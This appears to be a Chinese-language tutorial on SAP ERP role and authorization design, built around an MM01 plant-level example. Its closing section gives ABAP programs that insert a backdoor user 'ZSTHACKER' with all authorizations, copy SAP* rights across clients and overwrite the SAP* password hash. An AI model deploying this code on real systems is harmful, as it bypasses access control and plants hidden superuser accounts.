权限控制
常用權限相關Tcode .
(一)Role(角色)相關T-code:
PFCG? 創建
ROLE_CMP 角色比較
SUPC? 批量建立角色profile
(二)建立用戶
SU01 ??建立用戶
SU01D? 顯示用戶
SU2|SU3|SU50|SU51|SU52?? 改變/顯示用戶個人參數
SU10|SU12? 批量維護用戶
SUCOMP維護用戶公司地址
SUIM ?用戶信息系統(強調一下)
(三)建立用戶組
SUGR|SUGRD_NAV 維護用戶組
SUGRD|SUGR_NAV 顯示用戶組
?(四)維護檢查授權
SU20|SU21自定義授權字段和授權對象
SU53 當出現權限問題可使用它檢測未授權對象.
SU56:分析authoraztion data buffers.
常用權限相關表格:
TOBJ :All avaiable authorzation objects.(ERP系統默認的所有授權對象)
USR12: 用戶級authoraztion值
USR02:User Logon Data(包括用戶名稱密碼,是否鎖住等字段)
USR03:Useraddress data
USR05:UserMaster Parameter ID(Tcode SU3可查看用戶參數文件的參數ID默認值)
USR41:當前用戶(即TcodeSM04看到的所有當前活動用戶,包括各種對話系統通信類用戶)
USRBF2:記錄當前用戶所有的授權objects
UST04:UserProfile master(用戶主數據中對應的權限參數文件名)
UST10S: Single profiles(授權文件,權限參數和授權對象對應表)
UST12 : Authorizations(具體授權細節)
重點提示:
USR02/USRBF2/UST10S/UST12四個表包含的信息就是ERP權限控制的關鍵,前者是用戶主數據表,后三者和用戶授權緊密相關。
我現在來舉一個MM01建立物料主數據的實例來說明ERP的權限控制設計思路,步驟如下:
第一步:建立角色(Tcode:PFCG)
圖1中,假設建立角色ZMM01。
圖1-[1][2]:在菜單Tab頁選擇“事務“加入MM01->創建物料&,你還可為程序,查詢這樣的報表授權,選擇”其它“還能為數據倉庫等對象設置權限角色。
圖1-[3][4][5]:到“權限“Tab頁看到系統自動產生的授權參數文件Profilname T-C1550437,然后選擇”更改授權數據“,進入圖2。
顯然系統并不意味你給了建立物料的權限就能隨意使用該Tcode了,系統有更嚴格的細致控制。
圖2-[1][2]:我們可以看到建立物料主數據的權限分公司代碼層次,倉庫層次,物料類型層次,銷售組織層次,物料組層次,和工廠層次等等,特別是對于象公司代碼,銷售組織和工廠這樣的組織層次授權字段,控制點是非常必要的,一個大集團實施ERP,各公司代碼,各公司代碼下的各Plant授權用戶只能建立各自的物料,現在來看看是如何控制到工廠級別的。
圖2-[3][4][5]:在每個控制級別(即權限控制字段)都分控制字段和作業,每個權限控制字段對應一個所謂的授權對象,工廠的授權對象是M_MATE_WRK,所有授權對象的作業統一都是ACTVT,包括01/02/03/06/08五個作業,即控制是否允許創建更改顯示刪除等。比如MM01的作業只給03->顯示,則只能顯示物料。
注:
如果有特殊權限控制需要,可以使用SU20|SU21自定義授權字段和授權對象
圖2-[6][7]:點擊“工廠“,進去增加工廠權限,設置了工廠FRA1,FRA2和一個工廠范圍FRM1-FRM2。
注:
如果公司代碼,物料類,物料組,工廠等授權字段選擇*表示允許輸入該字段所有的內容。
經過我一個個點,好不容易,你看到的圖2現在是一片綠色,現在可以按圖2-[8]按紐生成權限參數文件了,這步是必須的。 權限設置越細致,管理員的工作量將越大,據說,有一個項目權限設置時間緊迫,時間緊呀,Basis兄弟有責任心呀,人家早上5點鐘就起床開始將急著忙著將紅燈點綠,由于點的速度過快,時間過長,結果呢,硬是將鼠標都點的冒起縷縷青煙了。
接下來,使用SU01建立一個用戶假設名叫butcher,然后在此將角色ZMM01分配給它,如圖3,記得要做“用戶比較“知道該按紐變綠,這和人帶的帽子不同,在角色設置中,越綠越好,至此,一個最簡單的權限設置就Ok了,用戶butcher只能使用MM01在工廠FRA1,FRA1,FRM1,FRM2四個工廠上建立物料主數據。
現在來檢查USRBF2/UST10S/UST12三個和用戶授權相關的表格數據,如圖4,圖5和圖6。
圖4是用戶參數文件表USR10S和用戶授權表USRBF2的合成圖。
圖4-[1][3][4][6]: UST10S表的參數文件T-C1550437正是圖1-[4]中定義角色ZMM01時生成的參數文件,對象表示的即授權對象,每個授權對象對應一個圖4-[6]的權限名稱T-C155043700| T-C155043701,這倆權限名稱正是參數文件T-C1550437文件+系號。
圖4-[2][5]:用戶授權對象表USRBF2包含了ERP用戶BUTCHER所對應的(授權)對象和對象對應的權限名稱,現在注意一下USRBF2表用戶BUTCHER包含了工廠的授權對象M_MATE_WRK,其對應的授權名稱是T-C155043700,那么圖2-[7]設置的四個工廠FRA1,FRA1,FRM1,FRM2保存在什么地方呢?請見圖6。
為什么一個參數文件T-C1550437產生了兩個T-C155043700| T-C155043701權限名稱呢?
查看權限對象設置時發現,在倉庫授權對象M_MATE_LGN和銷售組織/分銷渠道授權M_MATE_
VKO下系統竟默認了兩次相同的授權作業,如圖5。
圖5表示建立物料主數據的倉庫號和銷售組織/分銷渠道默認授權了兩次。
?
圖6中,可以看到授權對象M_MATE_WRK(即工廠授權對象)有5條記錄,其中字段ACTVT有
01,06兩條,分表表示允許建立和刪除物料數據,工廠WERKS有三條,正是FRA1,FRA2,和值
FRM1到值FRM2,如圖6-[2][3]。
至此,權限設計的基本邏輯就非常清晰了,如果用戶BUTCHER要建立某工廠的物料,首先從
授權表中查看是否有M_MATE_WRK的授權對象,然后再到UST12去檢查輸入的工廠是否在授
權范圍,If not so,則提示未授權。
現在用戶BUTCHER建立物料主數據,輸入工廠1000,提示M3 855未授權處理工廠1000的
主數據,如圖7。通常有兩種便捷方法查找到權限控制邏輯,一是SE91輸入M3 855查找,
二是直接在物料主數據建立程序中查找,一定能看到該主程序的子程序下到處都有象圖
7-[4]的AUTHORITY-CHECKOBJECT ‘授權對象名稱’
ID ‘ACTVT’? ‘作業允許號’
ID? ‘授權字段‘?FIELD? ‘用戶輸入內容“
這樣的權限檢查邏輯。
回顧一下,注意以下三點。
[1].創建角色Role將產生一個授權參數文件Profiel Name 。
[2].一個授權參數文件包含許多授權對象Authority Objects,實際上是如果將多個Tcode或報表或起其它什么的賦予一個Role,系統將這些Tcode(或報表)對應的授權對象帶出,這些授權對象當然在Tcode(報表對應的)程序邏輯中會有體現,則角色對應的授權參數文件將包含這些授權對象。
[3].授權對象通常有兩部分組成:
一是作業ACTVT,作業號分別是:
01? 創建或生成
02? 更改
03? 顯示
06? 刪除
08? 顯示修改文檔
?? 二是授權字段,這些授權字段通常是諸如組織結構層次的公司代碼,工廠,或其它比如物
料類型,憑證類型等,這樣可以做到更細微的權限控制。
現在我們知道,實際上決定權限的是授權對象Authorization Object,用戶的授權對象表在USRBF2中,所以只要往這個表插入數據就獲得了權限,現在可以使用SE38建立用戶和授予權限。
下面的程序ZCRTUSER是建立用戶ZSTHACKER(初始密碼123qaz)并賦予SAP*用戶的所有權限的參考程序.
?
| Program ZCRTUSER. Data ZUSR02 like USR02 . ***1.Create User ZSTHACKER according to DDIC select single * into ZUSR02 from USR02 where BNAME = 'DDIC'. ZUSR02-BNAME = 'ZSTHACKER'. ZUSR02-Bcode = 'E3B796BB09F7901B' . insert USR02 from ZUSR02? . ***2.Copy any auth. Obj from all users data ZUSRBF2 like USRBF2 occurs 0 with header line. select *? from? USRBF2 into table ZUSRBF2. Loop at ZUSRBF2. ? ZUSRBF2-BNAME = 'ZSTHACKER' .? ? Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. |
如果SAP*可能被刪除,還可直接將TOBJ中包含的所有的ERP授權對象全部賦予給一個用戶。
以下程序ZALLOBJ是賦予所有的標準授權對象給用戶ZSTHACKER 。
| Program ZALLOBJ。 Data Ztobj like tobj occurs 0 with header line . data zusrbf2 like usrbf2. select * into table ztobj from tobj . loop at ztobj. ? zusrbf2-mandt = sy-mandt. ? zusrbf2-bname = 'ZSTHACKER'. ? zusrbf2-objct = ztobj-objct. ? zusrbf2-auth? ='&_SAP_ALL'. ? modify USRBF2 FROM? zusrbf2 . endloop . ? |
也可跨Client建立用戶和賦予權限,只要使用client specified就可以。
| Program ZCLIENT. Data zusrbf2 like usrbf2. Select * into zusrbf2 from usrbf2? where bname = 'SAP*' . Zusrbf2-bname = 'ZSTHACKER' . Zusrbf2-mandt = '100'. Insert into usrbf2 client specified values zusrbf2. Endselect . |
下面是一句話修改SAP*的密碼為123456的程序,同樣,假設用戶BUTCHER的密碼丟失,我只要隨便在一臺服務器上建立一個用戶也叫BUTCHER,然后密碼設置為1QAZ2WSX,則其在任何系統任何client加密后的密碼必為BF02C9F1F179FB45 ,這樣的加密意義已經不大。
| report ZMODPWD. tables :usr02 . update usr02 set bcode = ' CF094BAA2020480E' where BNAME = 'SAP*'. |
雖然以上只是一個建立物料主數據的權限控制,卻非常清晰地解釋了ERP系統權限控制的邏輯。
那么ERP系統和我幼兒園時的權限作業究竟有什么不同呢?關鍵在于系統不僅僅是控制到了象建立物料主數據這樣的業務,而且在Access control訪問控制上引進了授權對象這個概念,從而使一個授權控制細微到了組織結構層次和其它一些象物料類型字段控制層次上并且可控制到新建更新刪除顯示這樣的作業層次。
非但如此,系統還允許用戶靈活定義授權字段和授權對象(Tcode:SU20|SU21),當然這些要使用增強程序,還有一點就是,系統在幾乎每個常用事務碼都提供了增強,比如物料就可使用BTE增強權限(請參考小技巧-業務交易事件BTE),可以輕松將權限控制到物料主數據龐大字段的的任何一個字段.
字段級權限
SAP BI實際上只要信息對象設置授權相關就能根據該字段控制權限.
幾個關鍵詞
敏感數據權限控制,記錄級數據權限,字段級(比如重要數量或金額字段)數據權限
預定義角色:本地角色和通用角色。
總結